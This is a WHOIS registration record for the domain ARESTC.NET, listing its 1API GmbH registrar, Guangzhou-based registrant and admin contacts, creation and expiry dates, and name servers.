Reporting System: http://wdprs[.]internic[.]net/

Domain Name: ARESTC.NET Registry Domain ID: 2196389400_DOMAIN_NET-VRSN Registrar WHOIS Server: whois.1api.net Registrar URL: http://www.1api.net Updated Date: 2017-12-06T08:43:04Z Creation Date: 2017-12-06T08:43:04Z Registrar Registration Expiration Date: 2018-12-06T08:43:04Z Registrar: 1API GmbH Registrar IANA ID: 1387 Registrar Abuse Contact Email: abuse@1api.net Registrar Abuse Contact Phone: +49.68416984x200 Domain Status: ok - http://www.icann.org/epp#OK Registry Registrant ID: Registrant Name: li yiy i Registrant Organization: li yiyi Registrant Street: Tianhe District Sports West Road 111 Registrant City: GuangZhou Registrant State/Province: Guangdong Registrant Postal Code: 510000 Registrant Country: CN Registrant Phone: +86.2029179999 Registrant Phone Ext: Registrant Fax: +86.2 0 2 9 1 7 9 9 9 9 Registrant Fax Ext: Registrant Email: ddggcc@189.cn Registry Admin ID: Admin Name: li yiy i Admin Organization: li yiyi Admin Street: Tianhe District Sports West Road 111 Admin City: GuangZhou Admin State/Province: Guangdong Admin Postal Code: 510000 Admin Country: CN Admin Phone: +86.2029179999 Admin Phone Ext: Admin Fax: +86.2 0 2 9 1 7 9 9 9 9 Admin Fax Ext: Admin Email: ddggcc@189.cn Registry Tech ID: Tech Name: li yiy i Tech Organization: li yiyi Tech Street: Tianhe District Sports West Road 111 Tech City: GuangZhou Tech State/Province: Guangdong Tech Postal Code: 510000 Tech Country: CN Tech Phone: +86.2029179999 Tech Phone Ext: Tech Fax: +86.2 0 2 9 1 7 9 9 9 9 Tech Fax Ext: Tech Email: ddggcc@189.cn Name Server: ns1.ispapi.net 194.50.187.134 Name Server: ns2.ispapi.net 194.0.182.1 Name Server: ns3.ispapi.net 193.227.117.124 DNSSEC: unsigned URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs[.]internic[.]net/